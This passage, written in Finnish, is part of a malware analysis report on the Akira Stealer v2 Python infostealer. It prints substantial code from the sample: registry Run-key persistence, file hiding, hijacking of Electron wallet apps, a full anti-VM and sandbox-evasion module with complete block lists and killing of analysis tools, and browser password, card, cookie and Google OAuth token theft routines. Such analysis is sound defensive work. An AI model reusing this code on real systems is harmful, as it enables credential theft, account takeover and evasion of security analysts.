Sen yhdistelmä salausta, dynaamista suoritusta, modulaarista payloadin hakua ja tiedostotonta toimintaa osoittaa erittäin kehittynyttä JavaScript-pohjaista haittaohjelma-arkkitehtuuria, joka hyödyntää Node.js:n kyvykkyyksiä Electron-kuoressa.
7. DeepDive: Akira Stealer v2 (astor.py)
7.1. Toiminnallisuus yleisellä tasolla
Akira Stealer v2 (astor.py) on monitoiminen, modulaarinen Pythonilla kirjoitettu infostealer-haittaohjelma. Se on suunniteltu exfiltroimaan laaja kirjo arkaluonteista käyttäjädataa sekä Chromium- että Firefox-pohjaisista selaimista, kryptolompakoista, viestintäsovelluksista (esim. Discord, Telegram) ja järjestelmätiedostoista. Se sisältää hienostuneita analyysin vastaisia mekanismeja, rekisteripohjaisen persistencen, leikepöydän kaappauksen ja muisti-injektiotekniikoita.
7.2 Persistence ja käyttöönotto
7.2.1 Suoritusketjun konteksti
astor.py:tä ei suoriteta itsenäisesti, vaan se on viimeinen payload monivaiheisessa hyökkäysketjussa:
Updater.exe
└── main.exe (Electron app)
└── cmd.exe
└── python.exe astor.py
Tämä jäsennelty suoritusketju antaa jokaisen vaiheen välttää havaitsemisen delegoimalla haitallisen toiminnallisuuden seuraavalle. Updater.exe käynnistää sarjan ja vastaa persistencen ylläpidosta.
7.2.2 Rekisteripohjainen persistence
Akira luo persistencen kirjoittamalla rekisteriavaimen nykyisen käyttäjän Run-polun alle. Tämä varmistaa, että Updater.exe suoritetaan jokaisen järjestelmän käynnistyksen yhteydessä:
command = f'reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v "Realtek Audio" /t REG_SZ /d "{path}\\Updater.exe" /f'
os.system(command)
- Polku:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run - Arvon nimi:
Realtek Audio(valittu näyttämään vaarattomalta) - Payloadin polku: Tyypillisesti
AppData\Roaming\Microsoft\Internet Explorer\UserData\\Updater.exe
Tämä komento kirjoittaa autorun-merkinnän hiljaa PowerShellin tai natiivin os.system()-suorituksen kautta.
7.2.3 Tiedoston piilottaminen
Hämärtääkseen binääriä entisestään käyttäjiltä ja yksinkertaisilta virustorjuntaskannauksilta tiedosto merkitään hidden- ja system-attribuuteilla:
subprocess.run(["attrib", "+h", "+s", destination_path])
+h: Merkitsee tiedoston piilotetuksi+s: Merkitsee tiedoston suojatuksi järjestelmätiedostoksi
Tämä poistaa tiedoston käytännössä Windowsin Resurssienhallinnan vakionäkymistä ja lisää huomaamattomuutta.
7.2.4 Uudelleentartuntatekniikat
Haittaohjelma tukee itsensä monistamista ja uudelleentartuntaa Electron-sovellusten kaappauksen kautta. Tarkemmin sanottuna se korvaa app.asar-arkiston Electron-pohjaisissa työpöytälompakoissa (esim. Exodus, Atomic Wallet) suorittaakseen haitallista JavaScriptiä laillisen sovelluksen käynnistyksen aikana.
Logiikka etsii tunnettuja lompakkosovellusten polkuja:
path = os.getenv("APPDATA") + "\\Exodus\\resources\\app.asar"
Jos kohdetiedosto on olemassa, se ylikirjoitetaan aseistetulla arkistolla. Tämä varmistaa persistencen myös sen jälkeen, kun Updater.exe on siivottu käsin.
7.3 Analyysin vastaisuus / väistely (luokka: VmProtect)
7.3.1 Johdanto
Nykyaikaisissa haittaohjelmakampanjoissa analyysin väistäminen virtualisoiduissa ja sandbox-ympäristöissä on kriittistä huomaamattomuuden säilyttämiseksi. Akira Stealer v2 toteuttaa kattavan VM- ja sandbox-havaitsemismoduulin (VmProtect), joka tunnistaa aggressiivisesti analyytikon hallinnoimat ympäristöt ja keskeyttää suorituksen niissä. Tämä raportti pilkkoo osiin jokaisen havaitsemistekniikan, esittää tarkat koodikatkelmat—mukaan lukien täydelliset estolistamäärittelyt—ja kuvaa käytetyn analyysimenetelmän.
7.3.2 Yleiskuva
VmProtect-luokka toteuttaa vankan VM- ja sandbox-havaitsemisen suorituksen ennenaikaiseen keskeyttämiseen analyysiympäristöissä. Se tukee kahta havaitsemistasoa:
- Taso 1: Kevyet, nopeat tarkistukset
- Taso 2: Syvälliset, kattavat luotaukset
Jos VmProtect.isVM(level) palauttaa True, haittaohjelma kutsuu sys.exit()-funktiota ja estää jatkoanalyysin.
7.3.3 Havaitsemistasot
| Ominaisuus | Taso 1 | Taso 2 |
|---|---|---|
| HTTPSimulation | ✔️ | ✔️ |
| Tietokoneen nimien estolista | ✔️ | ✔️ |
| Käyttäjätilien estolista | ✔️ | ✔️ |
| Laitteiston UUID:iden estolista | ❌ | ✔️ |
| Julkisen hosting-API:n tarkistus | ❌ | ✔️ |
| Rekisterin ja GPU:n vihjeet | ❌ | ✔️ |
| Prosessien tappaminen taustalla | ✔️ | ✔️ |
7.3.4 VmProtect-arkkitehtuuri
VmProtect-luokka tarjoaa seuraavat ensisijaiset metodit:
checkUUID()checkComputerName()checkUsers()checkHosting()checkHTTPSimulation()checkRegistry()killTasks()isVM(level)
Jokainen metodi palauttaa totuusarvon tai suorittaa väistelyvaiheita. isVM-kääre kokoaa nämä tarkistukset annetun tason mukaan.
| Metodi | Laukaisija | Kuvaus |
|---|---|---|
checkUUID() |
isVM(2) |
WMI-UUID:iden estolista |
checkComputerName() |
isVM(1,2) |
Osuma ympäristön hostnameen |
checkUsers() |
isVM(1,2) |
Käyttäjänimien estolista |
checkHosting() |
isVM(2) |
IP:n hosting-tarjoajan tarkistus ip-api.comin kautta |
checkHTTPSimulation() |
isVM(1,2) |
HTTPS-sieppauksen havaitseminen |
checkRegistry() |
isVM(2) |
Rekisterin ja GPU-ajurin artefaktit |
killTasks() |
isVM(...) spawn |
Päättää tunnetut analyysiprosessit |
isVM(level) |
init | Kokoaa tarkistukset ja kutsuu killTasks()-säiettä |
@staticmethod
def isVM(level: int) -> bool:
# Always start background task-killer
Thread(target=VmProtect.killTasks, daemon=True).start()
if level == 1:
# Fast path: HTTPS, hostname & user
return (
VmProtect.checkHTTPSimulation()
or VmProtect.checkComputerName()
or VmProtect.checkUsers()
)
if level == 2:
# Deep scan: includes UUID, hosting, registry & GPU
try:
return (
VmProtect.checkHTTPSimulation()
or VmProtect.checkUUID()
or VmProtect.checkComputerName()
or VmProtect.checkUsers()
or VmProtect.checkHosting()
or VmProtect.checkRegistry()
)
except:
return False
return False
7.3.5 UUID-tarkistus – virtuaalikoneiden tunnistaminen laitteiston UUID:n avulla
Yleinen taktiikka haittaohjelmien väistelyssä on taustalla olevan laitteistoympäristön sormenjälkien kerääminen. Yksi varhaisimmista tunnisteista, joka voi paljastaa virtuaalikoneen, on järjestelmän UUID (Universally Unique Identifier). Virtualisointialustat kuten VMware ja VirtualBox generoivat usein ennustettavia tai uudelleenkäytettyjä UUID-tunnuksia, joiden avulla haittaohjelma voi päätellä, suoritetaanko sitä virtualisoidussa tai sandbox-ympäristössä.
@staticmethod
def checkUUID() -> bool:
try:
raw = subprocess.run(
"wmic csproduct get uuid", shell=True,
capture_output=True
).stdout.splitlines()[2].decode().strip()
except:
raw = ""
return raw in VmProtect.BLACKLISTED_UUIDS
Tämä tarkistus hyödyntää Windows Management Instrumentation Command-line (WMIC) -työkalua isäntäkoneen UUID:n poimimiseen. Palautettua arvoa verrataan sen jälkeen kuratoituun listaan UUID-tunnuksia, jotka liittyvät yleisesti virtuaalikonepohjiin tai tunnettuihin analyysiympäristöihin.
7.3.6 Tietokoneen nimen tarkistus – sandbox- ja analyysiympäristöjen havaitseminen hostnamen avulla
Järjestelmän hostname, joka on saatavilla %COMPUTERNAME%-ympäristömuuttujan kautta, paljastaa usein vihjeitä ympäristöstään. Analyytikot käyttävät usein oletusnimiä tai nopeasti generoituja nimiä, kuten "DESKTOP-XXXXXXX", "WIN10ANALYSIS", tai jopa omiin sisäisiin ympäristöihinsä viittaavia nimiä. Haittaohjelma käyttää tätä hyväkseen vertaamalla järjestelmän hostnamea estolistaan.
@staticmethod
def checkComputerName() -> bool:
name = os.getenv("computername", "").lower()
return name in VmProtect.BLACKLISTED_COMPUTERNAMES
BLACKLISTED_COMPUTERNAMES = (
'00900bc83802','bee7370c-8c0c-4','desktop-nakffmt',
'desktop-vkeons4','ntt-eff-2w11wss',
# ... dozens more entries ...
)
Jos osuma löytyy, haittaohjelma voi päättää keskeyttää suorituksen tai toimittaa väärennetyn payloadin ja välttää siten täyden käyttäytymisanalyysin.
7.3.7 Käyttäjätilin tarkistus – analyytikko- ja oletustilien profilointi
Toinen heuristiikka arvioi käyttäjätunnusta, jolla haittaohjelma suoritetaan. Monet virtuaalikonepohjat ja sandboxit käyttävät uudelleen yleisiä käyttäjätunnuksia, kuten "Abby", "Test" tai "wdagutilityaccount". Nämä nimet ovat matalaentropisia ja usein kovakoodattuja avoimen lähdekoodin sandbox-ympäristöissä.
@staticmethod
def checkUsers() -> bool:
user = os.getlogin().lower()
return user in VmProtect.BLACKLISTED_USERS
BLACKLISTED_USERS = (
'wdagutilityaccount','abby','peter wilson','hmarc',
'a.monaldo','tvm',
# ... 30+ more entries ...
)
Tämä tarkistus parantaa havaitsemista keskittymällä käyttäjäkontekstiin, joka voi pysyä muuttumattomana myös uudelleenkäynnistysten tai virtuaalikoneen tilannekuvien yli.
7.3.8 Hosting-tarkistus – julkisen pilvi-infrastruktuurin havaitseminen
Osa haittaohjelmista käyttää ulkoisia IP-tiedustelupalveluja varmistaakseen, sijaitseeko saastunut järjestelmä tunnetussa datakeskuksessa tai pilvipalveluntarjoajan ympäristössä. Tässä tapauksessa tehdään yksinkertainen HTTP-pyyntö osoitteeseen ip-api.com ja kysytään, onko IP merkitty tyypin "hosting" osoitteeksi.
@staticmethod
def checkHosting() -> bool:
http = PoolManager(cert_reqs="CERT_NONE")
try:
return http.request(
'GET',
'http://ip-api.com/line/?fields=hosting'
).data.decode().strip() == 'true'
except:
return False
Tämä antaa haittaohjelman selvittää, suoritetaanko sitä Microsoft Azuren, AWS:n, DigitalOceanin tai vastaavan omistamassa infrastruktuurissa—mikä on punainen lippu sandboxauksesta.
7.3.9 HTTPS-simulaatiotarkistus – SSL-sieppauksen luotaus
Tunnistaakseen ympäristöt, joissa on SSL-tarkastus käytössä (yleistä yritys- ja tutkimusverkoissa), haittaohjelma tekee vaarattoman HTTPS-pyynnön satunnaiseen aliverkkotunnukseen .in-päätteen alla. Jos yhteys epäonnistuu—DNS-suodatuksen, sieppaavien välityspalvelimien tai sertifikaatin kiinnityksen epäonnistumisen vuoksi—se voi viitata siihen, että haittaohjelmaa analysoidaan.
@staticmethod
def checkHTTPSimulation() -> bool:
http = PoolManager(cert_reqs="CERT_NONE", timeout=1.0)
try:
http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')
except:
return False
return True
Tämä hienovarainen lähestymistapa testaa verkkopolun eheyttä laukaisematta hälytyksiä ja ilman omaa infrastruktuuria.
7.3.10 Rekisterin ja GPU-ajurin tarkistus – virtuaalisten GPU-signatuurien havaitseminen
Tietyt virtuaaliympäristöt paljastuvat rekisteriavaimista tai GPU-ajurin kuvauksista. Akira käyttää kahta strategiaa: se tekee kyselyjä grafiikka-alijärjestelmään liittyviin rekisterimerkintöihin ja tutkii erikseen wmic-komennon tulosteen epäilyttävien GPU-merkkijonojen varalta.
@staticmethod
def checkRegistry() -> bool:
r1 = subprocess.run(
"REG QUERY HKLM\\...\\0000\\DriverDesc 2",
capture_output=True, shell=True)
r2 = subprocess.run(
"REG QUERY HKLM\\...\\0000\\ProviderName 2",
capture_output=True, shell=True)
# GPU name check
gpu_out = subprocess.run(
"wmic path win32_VideoController get name",
capture_output=True, shell=True).stdout.decode().splitlines()
gpucheck = any(x in gpu_out[2].lower()
for x in ("virtualbox", "vmware"))
return (r1.returncode != 1 and r2.returncode != 1) or gpucheck
Nämä laitteistotason tarkistukset ovat erityisen tehokkaita analyytikkoympäristöjä vastaan, jotka eivät välttämättä peitä virtualisoituja näyttösovittimia täysin.
7.3.11 Prosessien tappaminen – analyysityökalujen vaientaminen reaaliajassa
Sen sijaan että Akira vain väistäisi havaitsemista passiivisesti, se menee askeleen pidemmälle ja päättää aktiivisesti tunnettuja analyysi- ja debuggaustyökaluja. Se käynnistää taustasäikeen, joka käy läpi prosessilistaa ja tappaa kaikki löytämänsä osumat.
@staticmethod
def killTasks() -> None:
Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)
BLACKLISTED_TASKS = (
'wireshark','fiddler','ida64','x32dbg','vmtoolsd',
# ... dozens more ...
'glasswire','requestly'
)
Nämä työkalut—joita incident response -tekijät ja haittaohjelma-analyytikot yleisesti käyttävät—neutraloidaan ennen kuin ne pystyvät keräämään merkityksellisiä käyttäytymisartefakteja.
Yhteenveto
Akira käyttää hienostunutta analyysin vastaisten tekniikoiden valikoimaa, joka kohdistuu useisiin järjestelmäkerroksiin — ympäristömuuttujista ja rekisteriavaimista verkkoluotauksiin ja prosessilistoihin. Nämä mekanismit on suunniteltu havaitsemaan ja väistämään sekä automatisoidut sandboxit että manuaaliset tarkasteluympäristöt.
Passiivisen sormenjälkien keräämisen ja aktiivisen vaientamisen (esim. prosessien tappaminen) yhdistelmä osoittaa, miten myös keskitason haittaohjelmaperheet integroivat nykyään monikerroksista väistelylogiikkaa.
7.3.12 Täydelliset estolistat ja havaitsemisfunktiot
Estolistalla olevat laitteiston UUID:t
BLACKLISTED_UUIDS = (
'7AB5C494-39F5-4941-9163-47F54D6D5016',
'032E02B4-0499-05C3-0806-3C0700080009',
'03DE0294-0480-05DE-1A06-350700080009',
'11111111-2222-3333-4444-555555555555',
'6F3CA5EC-BEC9-4A4D-8274-11168F640058',
'ADEEEE9E-EF0A-6B84-B14B-B83A54AFC548',
'4C4C4544-0050-3710-8058-CAC04F59344A',
'00000000-0000-0000-0000-AC1F6BD04972',
'00000000-0000-0000-0000-000000000000',
'5BD24D56-789F-8468-7CDC-CAA7222CC121',
'49434D53-0200-9065-2500-65902500E439',
'49434D53-0200-9036-2500-36902500F022',
'777D84B3-88D1-451C-93E4-D235177420A7',
'49434D53-0200-9036-2500-369025000C65',
'B1112042-52E8-E25B-3655-6A4F54155DBF',
'00000000-0000-0000-0000-AC1F6BD048FE',
'EB16924B-FB6D-4FA1-8666-17B91F62FB37',
'A15A930C-8251-9645-AF63-E45AD728C20C',
'67E595EB-54AC-4FF0-B5E3-3DA7C7B547E3',
'C7D23342-A5D4-68A1-59AC-CF40F735B363',
'63203342-0EB0-AA1A-4DF5-3FB37DBB0670',
'44B94D56-65AB-DC02-86A0-98143A7423BF',
'6608003F-ECE4-494E-B07E-1C4615D1D93C',
'D9142042-8F51-5EFF-D5F8-EE9AE3D1602A',
'49434D53-0200-9036-2500-369025003AF0',
'8B4E8278-525C-7343-B825-280AEBCD3BCB',
'4D4DDC94-E06C-44F4-95FE-33A1ADA5AC27',
'79AF5279-16CF-4094-9758-F88A616D81B4',
'FE822042-A70C-D08B-F1D1-C207055A488F',
'76122042-C286-FA81-F0A8-514CC507B250',
'481E2042-A1AF-D390-CE06-A8F783B1E76A',
'F3988356-32F5-4AE1-8D47-FD3B8BAFBD4C',
'9961A120-E691-4FFE-B67B-F0E4115D5919'
)
Estolistalla olevat tietokoneiden nimet
BLACKLISTED_COMPUTERNAMES = (
'00900BC83802', 'bee7370c-8c0c-4', 'desktop-nakffmt', 'win-5e07cos9alr',
'b30f0242-1c6a-4', 'desktop-vrsqlag', 'q9iatrkprh', 'xc64zb',
'desktop-d019gdm', 'desktop-wi8clet', 'server1', 'lisa-pc', 'john-pc',
'desktop-b0t93d6', 'desktop-1pykp29', 'desktop-1y2433r', 'wileypc',
'work', '6c4e733f-c2d9-4', 'ralphs-pc', 'desktop-wg3myjs',
'desktop-7xc6gez', 'desktop-5ov9s0o', 'qarzhrdbpj', 'oreleepc',
'archibaldpc', 'julia-pc', 'd1bnjkfvlh', 'compname_5076',
'desktop-vkeons4', 'NTT-EFF-2W11WSS'
)
Estolistalla olevat käyttäjätilit
BLACKLISTED_USERS = (
'wdagutilityaccount', 'abby', 'peter wilson', 'hmarc', 'patex',
'john-pc', 'rdhj0cnfevzx', 'keecfmwgj', 'frank', '8nl0colnq5bq',
'lisa', 'john', 'george', 'pxmduopvyx', '8vizsm', 'w0fjuovmccp5a',
'lmvwjj9b', 'pqonjhvwexss', '3u2v9m8', 'julia', 'heuerzl',
'harry johnson', 'j.seance', 'a.monaldo', 'tvm'
)
Estolistalla olevat analyysityökalujen prosessit
BLACKLISTED_TASKS = (
'fakenet', 'dumpcap', 'httpdebuggerui', 'wireshark', 'fiddler',
'vboxservice', 'df5serv', 'vboxtray', 'vmtoolsd', 'vmwaretray',
'ida64', 'ollydbg', 'pestudio', 'vmwareuser', 'vgauthservice',
'vmacthlp', 'x96dbg', 'vmsrvc', 'x32dbg', 'vmusrvc', 'prl_cc',
'prl_tools', 'xenservice', 'qemu-ga', 'joeboxcontrol',
'ksdumperclient', 'ksdumper', 'joeboxserver', 'vmwareservice',
'discordtokenprotector', 'glasswire', 'requestly'
)
Keskeiset havaitsemismetodit
@staticmethod
def checkUUID() -> bool:
"""WMIC hardware UUID against known VM IDs."""
try:
raw = subprocess.run(
"wmic csproduct get uuid",
shell=True, capture_output=True
).stdout.splitlines()[2].decode(errors='ignore').strip()
except:
raw = ""
return raw in VmProtect.BLACKLISTED_UUIDS
@staticmethod
def checkComputerName() -> bool:
"""ENV %COMPUTERNAME% in VM name list."""
return os.getenv("computername", "").lower() in VmProtect.BLACKLISTED_COMPUTERNAMES
@staticmethod
def checkUsers() -> bool:
"""Current login username in VM users list."""
return os.getlogin().lower() in VmProtect.BLACKLISTED_USERS
@staticmethod
def checkHosting() -> bool:
"""Query ip-api.com/hosting → 'true' indicates cloud VM."""
http = PoolManager(cert_reqs="CERT_NONE")
try:
return http.request(
'GET', 'http://ip-api.com/line/?fields=hosting'
).data.decode().strip() == 'true'
except:
return False
@staticmethod
def checkHTTPSimulation() -> bool:
"""
Attempt TLS to random subdomain.
Failure → possible HTTPS interception/sandbox.
"""
http = PoolManager(cert_reqs="CERT_NONE", timeout=1.0)
try:
http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')
return True
except:
return False
@staticmethod
def checkRegistry() -> bool:
"""
Look for VirtualBox/VMware in:
- Registry driver entries
- Video card name via WMIC
- Presence of VM-specific folders
"""
r1 = subprocess.run(
"REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class"
"\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\DriverDesc 2",
shell=True, capture_output=True
)
r2 = subprocess.run(
"REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class"
"\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\ProviderName 2",
shell=True, capture_output=True
)
gpu = any(
x.lower() in subprocess.run(
"wmic path win32_VideoController get name",
shell=True, capture_output=True
).stdout.decode().splitlines()[2].lower()
for x in ("virtualbox", "vmware")
)
dirs = any(os.path.isdir(d) for d in ('D:\\Tools','D:\\OS2','D:\\NT3X'))
return (r1.returncode != 1 and r2.returncode != 1) or gpu or dirs
@staticmethod
def killTasks() -> None:
"""Continuously terminate known analysis processes."""
Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)
7.3.13 Suoritus- ja keskeytyslogiikka
- Alustus:
Akira.__init__()-konstruktorissa haittaohjelma kutsuu välittömästiVmProtect.isVM(1)-funktiota suorittaakseen nopeat, kevyet virtualisointitarkistukset (esim. hostname, käyttäjä, HTTPS-simulaatio). - Syvä tarkastus: Jos ensimmäinen testi läpäistään, se kutsuu
VmProtect.isVM(2)-funktiota, mikä laukaisee kattavammat tarkistukset, mukaan lukien laitteiston UUID:n validointi, hosting-havaitseminenip-api.com-palvelun kautta ja rekisteriartefaktien skannaus. - Keskeytyspolku: Jos jokin tarkistus palauttaa
Trueja osoittaa siten virtuaali- tai analyysiympäristöä, koodi suorittaasys.exit()-funktion ja päättää suorituksen ennen datankeruu- tai exfiltraatiorutiineja.
7.3.14 Johtopäätös
VmProtect-moduuli Akira Stealer v2
7.4 Selaindatan exfiltraatio
Yksi Akira Stealer v2:n ydintavoitteista on selaimeen tallennetun arkaluonteisen datan laajamittainen poiminta. Haittaohjelma toteuttaa räätälöityjä moduuleja, jotka kohdistuvat sekä Chromium-pohjaisiin että Gecko-pohjaisiin (Firefox) selaimiin. Sen kyvykkyyksiin kuuluu tallennettujen salasanojen, evästeiden, luottokorttitietojen, automaattisen täytön merkintöjen ja jopa istuntotokenien poiminta ja salauksen purku, ja näitä tokeneja voidaan käyttää uudelleen täyteen tilin kaappaukseen.
1. Työtilan pystytys
client_dir = Utils.get_temp_folder() # e.g., C:\Windows\Temp\DESKTOP-1234
os.makedirs(client_dir, exist_ok=True)
for sub in ("Passwords","Cookies","CreditCards","History","Autofill","Wallets"):
os.makedirs(os.path.join(client_dir, sub), exist_ok=True)
- Luo kertakäyttöisen vaiheistusalueen järjestelmän väliaikaishakemiston alle, uhrin koneen mukaan nimettynä (%TEMP%\DESKTOP-
), mikä varmistaa, että kaikki exfiltroidut artefaktit kootaan yhteen helposti arkistoitavaan sijaintiin. - Eristää datan tyypeittäin: kuusi omaa alikansiota (Passwords, Cookies, CreditCards, History, Autofill, Wallets) estävät nimeämiskonfliktit ja yksinkertaistavat myöhempää zippaamista—jokainen poimintarutiini kirjoittaa vain omaan kansioonsa.
- Idempotentti hakemiston luonti käyttää exist_ok=True -asetusta, joten jos haittaohjelma suoritetaan uudelleen (esim. uudelleenkäynnistyksen tai persistencen yhteydessä), se ei kaadu eikä ylikirjoita olemassa olevaa dataa—uudet kohteet vain lisätään samaan rakenteeseen.
- Helpottaa valikoivaa siivousta: kun lataus ja ilmoitus ovat valmiit, stealer voi kutsua Utils.clear_client_folder()-funktiota poistaakseen rekursiivisesti vain oman työtilansa jättämättä jälkitiedostoja.
- Luo pohjan rinnakkaisille poimintasäikeille: esiluomalla kaikki kohteet taustasäikeet, jotka keräävät selaimien tunnistetietoja, evästeitä, automaattisen täytön tietoja, kryptolompakkodataa jne., voivat kirjoittaa tulokset välittömästi ilman lisätarkistuksia, mikä minimoi yleiskustannukset ja pienentää ikkunaa, jossa puolustavat koukut voisivat havaita odottamattoman tiedosto-I/O:n.
2. Tuetut selaimet
- Chromium‑pohjaiset
- Google Chrome (Stable & SxS)
- Microsoft Edge
- Brave Browser
- Opera & Opera GX
- Chromium
- Comodo Dragon
- Epic Privacy Browser
- Iridium Browser
- UR Browser
- Vivaldi Browser
- Yandex Browser
- Slimjet, Amigo, Torch, Kometa, Orbitum, CentBrowser, 7Star, Sputnik, Uran
- Firefox‑pohjaiset (
GeckoDriver-työkalun kautta)- Mozilla Firefox
- Waterfox
- Pale Moon
Akira paikantaa käyttäjäprofiilit dynaamisesti ympäristömuuttujien ja tunnettujen hakemistorakenteiden avulla:user_path = os.path.join(os.getenv("LOCALAPPDATA"), "Google", "Chrome", "User Data")
Se tarkistaa rekursiivisesti saatavilla olevat selainprofiilit (esim.Default,Profile 1jne.) ja kohdistuu näiden polkujen sisällä oleviin SQLite-tietokantoihin.
7.4.1 Poimitut datatyypit
| Datatyyppi | Lähdetiedosto | Huomautukset |
|---|---|---|
| Tallennetut salasanat | Login Data (Chromium) |
Puretaan DPAPI:n tai AES-GCM:n avulla (Chromium v80:n jälkeen) |
| Evästeet | Cookies |
Voivat sisältää istuntotokeneja, erityisesti Google-/Facebook-tileille |
| Automaattisen täytön data | Web Data |
Osoitteet, sähköpostit, puhelinnumerot jne. |
| Luottokortit | Web Data |
Salattu; vaatii pääavaimen |
| Istuntotokenit | Muistissa ja evästeissä | Sisältää Gmailin, Google-tilit ja Discord OAUTH -replayn |
| Historia ja URL:t | History, Visited Links |
Exfiltroitiin nekin hyökkääjälle |
3. Poimintamoduulit Kun haittaohjelmien tekijät kohdistavat toimintansa selaimiin, heidän ensisijaisia aarrearkkujaan ovat erilaiset SQLite-tietokannat, joihin Chrome, Firefox ja niiden sukulaiset tallentavat tunnistetiedot, evästeet, historian ja automaattisen täytön merkinnät. astor.py yhdistää kevyen Pythonin ja natiivit API-rajapinnat kootakseen järjestelmällisesti jokaisen datapalasen—ja jopa toistaakseen live-OAuth-istuntoja—jälkiä jättämättä. Alla on perusteellinen, moduuli moduulilta etenevä kierros, sanatarkasti koodista.
7.4.2 Salasanadumppaaja (Chromium.GetPasswords)
Tämä moduuli käy järjestelmällisesti läpi kaikki Chromium-pohjaisten selaimien profiilit poimiakseen tallennetut kirjautumistiedot. Kohdistumalla Login Data -SQLite-tietokantaan se hakee käyttäjätunnukset ja salatut salasanat ja purkaa ne sitten selkokielisiksi alustan salausavaimella (haettu DPAPI:n tai AES-GCM:n kautta). Nämä tunnistetiedot ovat erittäin arvokkaita murron jälkeisessä sivuttaisliikkeessä tai tilin haltuunotossa.
for root, _, files in os.walk(self.BrowserPath):
for file in files:
if file.lower() == "login data":
# Copy DB → open → extract rows
results = cursor.execute(
"SELECT origin_url, username_value, password_value FROM logins"
).fetchall()
for url, user, pwd_blob in results:
clear_pwd = self.Decrypt(pwd_blob, encryptionKey)
passwords.append((url, user, clear_pwd))
- Paikantaa jokaisen
Login Data-SQLite-tietokannan selaimenUser Data-kansion alta. - Kopioi väliaikaistiedostoon välttääkseen selaimen lukot.
- SQL-kysely:
SELECT origin_url, username_value, password_value FROM logins. - Purkaa jokaisen
password_value-möykyn salauksen AES‑GCM:llä (v10/v11) tai Windowsin DPAPI-varajärjestelyllä. - Kirjoittaa tulosteen tiedostoon
Passwords/<BrowserName> Passwords.txt.
7.4.3 Luottokorttidumppaaja (Chromium.GetCreditCards)
Tässä stealer avaa tallennetut luottokorttitiedot jokaisen selainprofiilin Web Data -tiedostosta. Se keskittyy poimimaan voimassaolotiedot ja salatut luottokorttinumerot, jotka puretaan sitten samalla logiikalla kuin salasanat. Vaikka CVV-koodeja ei tyypillisesti tallenneta, palautettuja tietoja voidaan silti väärinkäyttää card-not-present-petoksiin.
results = cursor.execute(
"SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards"
).fetchall()
for month, year, enc_cc in results:
cc_number = self.Decrypt(enc_cc, encryptionKey)
ccs.append((cc_number, month, year))
- Kohdistuu jokaisen profiilin alla oleviin
Web Data-SQLite-varastoihin. - SQL-kysely:
SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards. - Purkaa
card_number_encrypted-kentän täsmälleen kuten salasanamöykyt. - Tulostaa tiedostoon
CreditCards/<BrowserName> CreditCards.txt.
7.4.4 Evästedumppaaja (Chromium.GetCookies)
Evästeet, erityisesti istuntoevästeet, ovat ensisijaisia kohteita tilin kaappaukseen ilman salasanoja. Tämä moduuli dumppaa kaikki evästetiedostot profiileista, purkaa niiden salauksen ja kerää olennaiset metatiedot, kuten verkkotunnuksen, nimen ja voimassaolon. Sormenjälkien kanssa yhdistettynä nämä evästeet voivat mahdollistaa saumattomat replay-hyökkäykset todennettuihin palveluihin.
results = cursor.execute(
"SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies"
).fetchall()
for host, name, path, blob, expiry in results:
cookie_val = self.Decrypt(blob, encryptionKey)
cookies.append((host, name, path, cookie_val, expiry))
- Skannaa jokaisen
Cookies-SQLite-tietokannan. - Valitsee kentät
host_key, name, path, encrypted_value, expires_utc. - Purkaa jokaisen
encrypted_value-möykyn paljastaakseen varsinaisen evästemerkkijonon. - Tallentaa tiedostoon
Cookies/<BrowserName> Cookies.txt.
7.4.5 Google-istuntodumppaaja (Chromium.dump_google_sessions)
Yksi kehittyneemmistä komponenteista, tämä rutiini purkaa token_service-taulusta tallennetut OAuth-tokenit. Toistamalla ne Googlen multilogin-päätepisteen kautta haittaohjelma voi regeneroida aktiivisia istuntoevästeitä—jolloin hyökkääjät voivat kaapata Google-tilejä ilman tunnistetietoja. Tämä havainnollistaa, miten pääsytokeneista on tullut ensisijaisia kohteita nykyaikaisissa stealereissa.
cursor.execute("SELECT service, encrypted_token FROM token_service")
for service, blob in cursor.fetchall():
iv = blob[3:15]
ciphertext = blob[15:-16]
cipher = AES.new(secret_key, AES.MODE_GCM, iv)
token = cipher.decrypt(ciphertext).decode()
# Replays via POST to OAuth endpoint
response = requests.post(
"https://accounts.google.com/oauth/multilogin",
headers={"Authorization": f"MultiBearer {token}:{service_id}"},
data={"source": "com.google.Drive"}
)
save each account’s cookies to file
- Hakee
service-kentän ja raa'anencrypted_token-arvonWeb Data-kloonista. - AES‑GCM-salauksenpurku selaimen
Local State-avaimella. - Toistaa puretut tokenit POST-pyyntönä Googlen
multilogin-API:in kelvollisten OAuth-evästeiden rekonstruoimiseksi. - Kirjoittaa tilikohtaiset istuntotiedostot polkuun
Cookies/<display_email> Google Session.txt.
7.4.6 Historiadumppaaja (Chromium.GetHistory)
Tämä funktio poimii selaushistorian merkinnät, mukaan lukien URL:n, otsikon ja käyntitiheyden. Yksityisyyden loukkauksen lisäksi tämä data auttaa hyökkääjiä ymmärtämään uhrin käyttäytymistä, tunnistamaan arvokkaita kohteita (esim. pankkiportaalit) tai räätälöimään sosiaalisen manipuloinnin payloadeja.
results = cursor.execute(
"SELECT url, title, visit_count, last_visit_time FROM urls"
).fetchall()
history.sort(key=lambda x: x[3], reverse=True)
return [(url, title, count) for url, title, count, _ in history]
- Valitsee kentät
url, title, visit_count, last_visit_timejokaisestaHistory-tietokannasta. - Lajittelee merkinnät
last_visit_time-kentän mukaan laskevasti. - Tulostaa tiedoston
History/<BrowserName> History.txt.
7.4.7 Automaattisen täytön dumppaaja (Chromium.GetAutofills)
Automaattisen täytön merkinnät—kuten osoitteet, nimet, sähköpostit ja joskus maksuihin liittyvä data—kaavitaan selaimen Web Data -varastosta. Nämä arvot eivät ehkä vaikuta kriittisiltä, mutta yhteen koottuina ne tarjoavat rikkaan profiilin uhrin identiteetistä ja käyttäytymisestä.
results = cursor.execute(
